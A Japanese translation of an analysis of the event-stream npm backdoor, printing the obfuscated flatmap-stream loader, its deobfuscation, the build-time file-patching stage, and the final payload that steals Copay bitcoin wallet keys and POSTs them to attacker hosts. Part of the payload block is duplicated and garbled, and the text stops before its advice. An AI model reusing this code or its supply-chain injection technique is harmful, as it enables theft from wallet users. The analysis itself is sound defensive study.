イベントストリームのバックドアを説明する

Javascriptを使用している場合、 event-stream npmパッケージの脆弱性について多くのノイズに気付いている可能性が高いでしょう。 ( これに関する投稿もHabréで公開されました。 )残念なことに、状況の詳細な分析はGithub問題の 600以上のコメントに埋もれています。 バックドアは非常にスマートで技術的な観点から興味深いため、また、Javascriptアプリケーションのセキュリティを維持する方法に関する重要な教訓を教えてくれるので、悪いと思いました。 そこで、私はこの攻撃がどのように機能し、Javascriptコミュニティが将来このような攻撃からよりよく防御するために何ができるかについての詳細な説明を含む投稿を書くことにしました。







始める前に、 FallingSnowmaths22 、およびjoepie91の優れた調査に感謝します。 彼らは、脆弱性を分析し、それが何をするのかを理解するという大変な仕事をしました。 本文の後半で著者の結果を引用しますが、この作業をすべて自分でやったわけではないことを明示する価値があると思います。 他の人が発見したことを要約しただけです。







背景



event-streamは、node.jsアプリケーション内でデータストリームを操作するためのユーティリティを含む人気のあるnpmモジュールです。 現在では、毎日190万回以上ダウンロードされています。 しかし、彼は数年間積極的に開発されていません。 著者のDominic Tarrは 、他の多数のプロジェクトをサポートしており、個人のプロジェクトではこのモジュールを使用しなくなったため、無視されました。







9月中旬頃、ニックネームがright9ctrl(GitHubアカウントは削除されました)のユーザーがモジュールサポートを引き継ぐことを提案しました。 ドミニクは同意し、Githubとnpmにright9ctrlアクセス権を与えました。 コミットの履歴は一見無害に見えます:













Githubのイベントストリームのコミット履歴のスクリーンショット







9。 次に、9月16日、right9ctrl flatmap-stream



依存関係削除しflatmap



メソッドを直接実装しflatmap



。 繰り返しになりますが、邪魔になるものは何もありません。新しい依存関係を追加し、数日のうちに同じものを自分で実装する方が良いと判断することも珍しくありません。







攻撃



フラットマップストリームライブラリも無害に見えます-実際、データストリーム用のフラットマップの実装が含まれています(注意が必要ですが、ライブラリには1つのコントリビュータしかなく、npmからこの時点までダウンロードはありません)。













GitHubのflatmap-streamのスクリーンショット







ただし、npmで公開されたこのモジュールのバージョンには、縮小されたファイルに追加のコードが含まれていました。







 var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
      
      





ここでの悪意のある部分は最後にあり、検出を避けるために特別に難読化されました。







 !function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
      
      





Github問題で、 FallingSnowはブックマークのソースコードを復元し、そこで何が起こっているかを示しました。







 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; npm_package_description = process['env']['npm_package_description']; // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1])
      
      





そのため、コードは./test/data.js



ファイルをダウンロードします。これは、GitHubにソースコードがないにもかかわらず、 npmの公開バージョンに埋め込まれていました。 このファイルには、AES256で暗号化された文字列の配列が含まれています。 npm_package_description



環境npm_package_description



は、コードがパッケージのコンテキストで実行されるときにnpmコマンドによって設定されます。つまり、event-stream-> flatmap-stream依存関係チェーンを含むルートパッケージは、 npm_package_description



(および他の同様の変数)を設定するために使用されます ( 注:つまり、このコマンドを実行したプロジェクトのpackage.jsonファイルの説明が使用されます )。 したがって、コードはtest/data.js



をキーとして使用してtest/data.js



コンテンツを復号化し、結果の実行を試みます。







大部分のパケットでは、説明がAES256暗号の正しいキーではなく、解読の結果はナンセンスであるため、これはエラー(悪意のあるコードが静かにキャッチして無視します)につながります。 これは、特定のパッケージに対する非常に標的を絞った攻撃です。 maths22および他の一部のユーザーは、イベントストリームに依存するnpm-modulesのリストをダウンロードし、これらのモジュールの説明をソートして、正しいキーを選択し、ターゲットパッケージを見つけました:それはビットコインウォレットのプラットフォームであるcopay-dashです。 その説明「A Secure Bitcoin Wallet」は、 test/data.js



コンテンツを正常に復号化し、次のコードを示します(親切にjoepie91が提供):







 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} };
      
      





このコードは別のレベルの復号化を開始し、最終的な悪意のあるスクリプトが開きます。







 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();
      
      



\\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / CJ / x76To \\ n2wIDAQAB \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();





ご想像のとおり、このスクリプトはビットコインウォレットを盗み、そのデータを攻撃者のサーバーにアップロードしようとしています。







更新: npmチームは公式のインシデントレポートをリリースしました。このレポートでは、悪意のあるコードがCopayウォレットアプリケーションコードにビットコインを盗むスクリプトを挿入するためにCopayリリースプロセスで起動されることを意図していると説明しました。







まとめると









今何をする?



これは驚くほどJanuaryな攻撃であり、 1月の投稿を非常に連想させますが、同様の仮想攻撃の説明があります。 攻撃者は巧みにトラックを一掃しました-Githubのコードとコミットの履歴は、無害で疑わしい状況を示しています(新しい開発者がプロ​​ジェクトに参加し、機能を追加し、実装をわずかに変更します)。 flatmap-streamの疑わしい兆候(新しいパッケージ、投稿者およびダウンロード統計はありません)に加えて、攻撃はほとんど目に見えませんでした。 実際、2か月間検出されず、攻撃者 crypto.createDecipher



代わりに古いcrypto.createDecipher



メソッドを使用して小さな間違い犯したために発見されたため、別のライブラリで古いメソッドの使用に関する疑わしいメッセージが発生しました。イベントストリームを使用します。







残念ながら、このタイプの攻撃は近い将来に私たちを去ることはありません。 JavaScriptは現時点で最も人気のある言語です。つまり、ハッカーにとって魅力的なターゲットであり続けるでしょう。 JavaScriptは、他の言語に比べて標準ライブラリの機能が比較的少ないため、開発者はnpmのパッケージを使用する必要があります。これは、他の文化的要因とともに、JavaScriptプロジェクトには通常巨大な依存ツリーがあります。







JavaScriptアプリケーションはこのクラスの脆弱性に陥りやすい傾向にありますが、これがJavaScriptが一般的に安全性が低い理由であるとは限りません。 JavaScriptは通常、進歩の波に乗ろうとしているよりアクティブな開発者によって使用されます。つまり、ユーザーはセキュリティ修正を含むより多くのパッケージと更新をインストールします。 同時に、EquifaxのJavaアプリケーションはまったく逆の理由でハッキングされました。ApacheStrutsのセキュリティ更新プログラムを数か月間インストールしませんでした 。 この種の脆弱性は、JavaScriptアプリケーションではあまり起こりません。 最終的に、企業の技術スタックを選択するとき、常にセキュリティの問題が発生します。 重要な教訓は、特定の決定のために考えられる攻撃シナリオとそれらを予測する能力を理解することです。







これはjavascriptスタックにとって何を意味しますか? npmや他のコミュニティがそのような攻撃をどのように防ぐことができるかというアイデアや提案が不足することはありません。 ただし、エンドユーザーには、リスクを軽減するための少なくとも2つの基本的な手順があります。










All Articles